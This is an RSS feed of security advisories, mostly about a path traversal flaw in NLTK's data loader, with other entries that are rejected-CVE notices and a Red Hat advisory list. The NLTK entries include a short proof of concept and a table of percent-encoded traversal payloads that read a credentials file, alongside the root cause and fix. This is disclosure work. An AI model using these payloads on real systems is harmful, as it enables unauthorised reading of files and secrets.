<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 06:14:12 +0000</lastBuildDate>
    <item>
      <title>BREW-acronym-CVE-2026-12243 — nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences</title>
      <link>https://cve.radiocsirt.org/vuln/brew-acronym-cve-2026-12243</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: acronym&lt;/p&gt;
&lt;p&gt;# Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.&lt;/p&gt;
&lt;p&gt;# Vulnerable Code
nltk/data.py - find() function:
 url2pathname() decodes %2e%2e -&amp;gt; .. AFTER any safety check
p = os.path.join(path_, url2pathname(resource_name))
if os.path.exists(p):
    return FileSystemPathPointer(p)&lt;/p&gt;
&lt;p&gt;# Proof of Concept
import nltk.data
nltk.data.path = [&amp;#34;/home/user/nltk_data&amp;#34;]
%2e%2e decodes to .. via url2pathname(), escaping the data dir
data = nltk.data.load(&amp;#34;%2e%2e/SECRET_credentials.txt&amp;#34;, format=&amp;#34;raw&amp;#34;)
print(data)
 b&amp;#39;AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n&amp;#39;
All of these bypass path checks and decode identically:&lt;/p&gt;
&lt;p&gt;# Payload	After url2pathname()
%2e%2e/secret	../secret
.%2e/secret	../secret
%2e./secret	../secret
%2E%2E/secret	../secret
Root Cause
url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.&lt;/p&gt;
&lt;p&gt;# Fix
Decode before checking:&lt;/p&gt;
&lt;p&gt;from urllib.parse import unquote
resource_name = unquote(resource_name)  # decode first, then validate&lt;/p&gt;
&lt;p&gt;# Impact
An attacker who controls the resource name passed to nltk.data.load() can r…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: acronym&lt;/p&gt;
&lt;p&gt;# Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.&lt;/p&gt;
&lt;p&gt;# Vulnerable Code
nltk/data.py - find() function:
 url2pathname() decodes %2e%2e -&amp;gt; .. AFTER any safety check
p = os.path.join(path_, url2pathname(resource_name))
if os.path.exists(p):
    return FileSystemPathPointer(p)&lt;/p&gt;
&lt;p&gt;# Proof of Concept
import nltk.data
nltk.data.path = [&amp;#34;/home/user/nltk_data&amp;#34;]
%2e%2e decodes to .. via url2pathname(), escaping the data dir
data = nltk.data.load(&amp;#34;%2e%2e/SECRET_credentials.txt&amp;#34;, format=&amp;#34;raw&amp;#34;)
print(data)
 b&amp;#39;AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n&amp;#39;
All of these bypass path checks and decode identically:&lt;/p&gt;
&lt;p&gt;# Payload	After url2pathname()
%2e%2e/secret	../secret
.%2e/secret	../secret
%2e./secret	../secret
%2E%2E/secret	../secret
Root Cause
url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.&lt;/p&gt;
&lt;p&gt;# Fix
Decode before checking:&lt;/p&gt;
&lt;p&gt;from urllib.parse import unquote
resource_name = unquote(resource_name)  # decode first, then validate&lt;/p&gt;
&lt;p&gt;# Impact
An attacker who controls the resource name passed to nltk.data.load() can r…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/brew-acronym-cve-2026-12243</guid>
    </item>
    <item>
      <title>certfr-2026-avi-1094 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…</title>
      <link>https://cve.radiocsirt.org/vuln/certfr-2026-avi-1094</link>
      <description>certfr-2026-avi-1094</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/certfr-2026-avi-1094</guid>
    </item>
    <item>
      <title>fkie_cve-2026-12243</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-12243</link>
      <description>&lt;p&gt;Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-12243</guid>
    </item>
    <item>
      <title>GHSA-m42h-3232-vpv3 — nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-m42h-3232-vpv3</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nltk&lt;/p&gt;
&lt;p&gt;# Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.&lt;/p&gt;
&lt;p&gt;# Vulnerable Code
nltk/data.py - find() function:
 url2pathname() decodes %2e%2e -&amp;gt; .. AFTER any safety check
p = os.path.join(path_, url2pathname(resource_name))
if os.path.exists(p):
    return FileSystemPathPointer(p)&lt;/p&gt;
&lt;p&gt;# Proof of Concept
import nltk.data
nltk.data.path = [&amp;#34;/home/user/nltk_data&amp;#34;]
%2e%2e decodes to .. via url2pathname(), escaping the data dir
data = nltk.data.load(&amp;#34;%2e%2e/SECRET_credentials.txt&amp;#34;, format=&amp;#34;raw&amp;#34;)
print(data)
 b&amp;#39;AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n&amp;#39;
All of these bypass path checks and decode identically:&lt;/p&gt;
&lt;p&gt;# Payload	After url2pathname()
%2e%2e/secret	../secret
.%2e/secret	../secret
%2e./secret	../secret
%2E%2E/secret	../secret
Root Cause
url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.&lt;/p&gt;
&lt;p&gt;# Fix
Decode before checking:&lt;/p&gt;
&lt;p&gt;from urllib.parse import unquote
resource_name = unquote(resource_name)  # decode first, then validate&lt;/p&gt;
&lt;p&gt;# Impact
An attacker who controls the resource name passed to nltk.data.load() can r…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nltk&lt;/p&gt;
&lt;p&gt;# Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.&lt;/p&gt;
&lt;p&gt;# Vulnerable Code
nltk/data.py - find() function:
 url2pathname() decodes %2e%2e -&amp;gt; .. AFTER any safety check
p = os.path.join(path_, url2pathname(resource_name))
if os.path.exists(p):
    return FileSystemPathPointer(p)&lt;/p&gt;
&lt;p&gt;# Proof of Concept
import nltk.data
nltk.data.path = [&amp;#34;/home/user/nltk_data&amp;#34;]
%2e%2e decodes to .. via url2pathname(), escaping the data dir
data = nltk.data.load(&amp;#34;%2e%2e/SECRET_credentials.txt&amp;#34;, format=&amp;#34;raw&amp;#34;)
print(data)
 b&amp;#39;AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n&amp;#39;
All of these bypass path checks and decode identically:&lt;/p&gt;
&lt;p&gt;# Payload	After url2pathname()
%2e%2e/secret	../secret
.%2e/secret	../secret
%2e./secret	../secret
%2E%2E/secret	../secret
Root Cause
url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.&lt;/p&gt;
&lt;p&gt;# Fix
Decode before checking:&lt;/p&gt;
&lt;p&gt;from urllib.parse import unquote
resource_name = unquote(resource_name)  # decode first, then validate&lt;/p&gt;
&lt;p&gt;# Impact
An attacker who controls the resource name passed to nltk.data.load() can r…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-m42h-3232-vpv3</guid>
    </item>
    <item>
      <title>PYSEC-2026-597</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-597</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nltk&lt;/p&gt;
&lt;p&gt;NLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The `_UNSAFE_NO_PROTOCOL_RE` regex in `nltk/data.py` checks for literal `../` sequences but fails to account for percent-encoded traversal sequences such as `..%2f`. The `url2pathname()` function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to `nltk.data.load()` or `nltk.data.find()`. The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default `pathsec.ENFORCE=False` setting exacerbates the impact by not blocking the file read at the `open()` stage.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nltk&lt;/p&gt;
&lt;p&gt;NLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The `_UNSAFE_NO_PROTOCOL_RE` regex in `nltk/data.py` checks for literal `../` sequences but fails to account for percent-encoded traversal sequences such as `..%2f`. The `url2pathname()` function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to `nltk.data.load()` or `nltk.data.find()`. The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default `pathsec.ENFORCE=False` setting exacerbates the impact by not blocking the file read at the `open()` stage.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-597</guid>
    </item>
    <item>
      <title>RHSA-2026:60520 — Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI</title>
      <link>https://cve.radiocsirt.org/vuln/rhsa-2026:60520</link>
      <description>&lt;p&gt;urllib3: urllib3 Streaming API improperly handles highly compressed data github.com/argoproj/argo-workflows: argoproj/argo-workflows is vulnerable to RCE via ZipSlip and symbolic links image-size: image-size: Denial of Service via crafted image buffer with zero-valued size field image-size: image-size: Denial of Service via crafted ICNS image buffer mlflow/mlflow: mlflow/mlflow: Unauthenticated remote code execution via unprotected job endpoints mlflow: mlflow: Arbitrary file read via bypassed source path validation python-transformers: python-transformers: Arbitrary code execution due to overridden trust_remote_code setting jupyter-server: jupyter-server: Sensitive data exposure via path traversal vulnerability fast-uri: fast-uri: URI authority bypass due to improper delimiter handling undici: undici: Information disclosure and data integrity issues due to incorrect Socks5ProxyAgent connection routing python-pip: Path traversal via malicious entry point name in pip wheel installation allows arbitrary file overwrite undici: undici: Man-in-the-Middle attack via ignored TLS options with SOCKS5 proxy form-data: form-data: Form field override via CRLF injection undici: undici: Denial of Service due to unbounded memory growth via WebSocket frames nltk: NLTK: Information disclosure via path traversal vulnerability keras: Keras: Arbitrary code execution via deserialization vulnerability brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity shell-quo…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;urllib3: urllib3 Streaming API improperly handles highly compressed data github.com/argoproj/argo-workflows: argoproj/argo-workflows is vulnerable to RCE via ZipSlip and symbolic links image-size: image-size: Denial of Service via crafted image buffer with zero-valued size field image-size: image-size: Denial of Service via crafted ICNS image buffer mlflow/mlflow: mlflow/mlflow: Unauthenticated remote code execution via unprotected job endpoints mlflow: mlflow: Arbitrary file read via bypassed source path validation python-transformers: python-transformers: Arbitrary code execution due to overridden trust_remote_code setting jupyter-server: jupyter-server: Sensitive data exposure via path traversal vulnerability fast-uri: fast-uri: URI authority bypass due to improper delimiter handling undici: undici: Information disclosure and data integrity issues due to incorrect Socks5ProxyAgent connection routing python-pip: Path traversal via malicious entry point name in pip wheel installation allows arbitrary file overwrite undici: undici: Man-in-the-Middle attack via ignored TLS options with SOCKS5 proxy form-data: form-data: Form field override via CRLF injection undici: undici: Denial of Service due to unbounded memory growth via WebSocket frames nltk: NLTK: Information disclosure via path traversal vulnerability keras: Keras: Arbitrary code execution via deserialization vulnerability brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity shell-quo…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rhsa-2026:60520</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-12243</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-12243</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:25.10: nltk&lt;/p&gt;
&lt;p&gt;Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:25.10: nltk&lt;/p&gt;
&lt;p&gt;Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-12243</guid>
    </item>
  </channel>
</rss>
